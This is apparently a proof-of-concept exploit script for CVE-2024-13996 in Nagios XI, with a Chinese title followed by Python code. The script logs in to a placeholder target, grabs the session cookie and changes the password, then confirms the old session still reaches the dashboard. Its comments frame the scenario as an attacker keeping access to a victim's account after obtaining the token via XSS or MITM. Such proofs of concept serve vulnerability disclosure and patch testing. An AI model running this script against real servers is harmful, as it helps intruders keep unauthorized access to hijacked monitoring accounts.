CVE-2024-13996 Nagios XI 密码修改后会话未失效漏洞

#!/usr/bin/env python3 """ CVE-2024-13996 PoC - Nagios XI Session Not Invalidated After Password Change This PoC demonstrates that active sessions remain valid after password change. """ import requests import sys from bs4 import BeautifulSoup TARGET = "http://target-nagios-xi.local" USERNAME = "admin" OLD_PASSWORD = "old_password" NEW_PASSWORD = "new_password" def get_session_token(session, url): """Extract session token from response""" response = session.get(url) for cookie in session.cookies: if 'nagiosxi' in cookie.name.lower() or 'php' in cookie.name.lower(): return cookie.value return None def login(session, username, password): """Authenticate and get session""" login_url = f"{TARGET}/nagiosxi/login.php" data = { 'username': username, 'password': password, 'loginButton': 'Login' } response = session.post(login_url, data=data, allow_redirects=True) return response.status_code == 200 def change_password(session, new_password): """Change user password""" profile_url = f"{TARGET}/nagiosxi/account.php" data = { 'pwdchange': '1', 'old_password': OLD_PASSWORD, 'new_password': new_password, 'confirm_password': new_password } return session.post(profile_url, data=data) def verify_session(session, expected_working=True): """Verify if session is still valid after password change""" dashboard_url = f"{TARGET}/nagiosxi/index.php" response = session.get(dashboard_url) return 'nagios' in response.text.lower() and response.status_code == 200 def main(): session = requests.Session() # Step 1: Attacker obtains valid session token (e.g., via XSS or MITM) print("[*] Step 1: Obtaining initial session token...") if not login(session, USERNAME, OLD_PASSWORD): print("[-] Login failed") return attacker_token = get_session_token(session, TARGET) print(f"[+] Got session token: {attacker_token[:20]}...") # Step 2: Victim changes password (simulated) print("\n[*] Step 2: Victim changes password...") change_password(session, NEW_PASSWORD) print("[+] Password changed to new value") # Step 3: Verify attacker's session still works print("\n[*] Step 3: Verifying old session still valid...") if verify_session(session): print("[!] VULNERABLE: Old session still active after password change!") print("[!] Attacker can continue accessing the account") else: print("[-] Session properly invalidated (patched)") if __name__ == "__main__": main()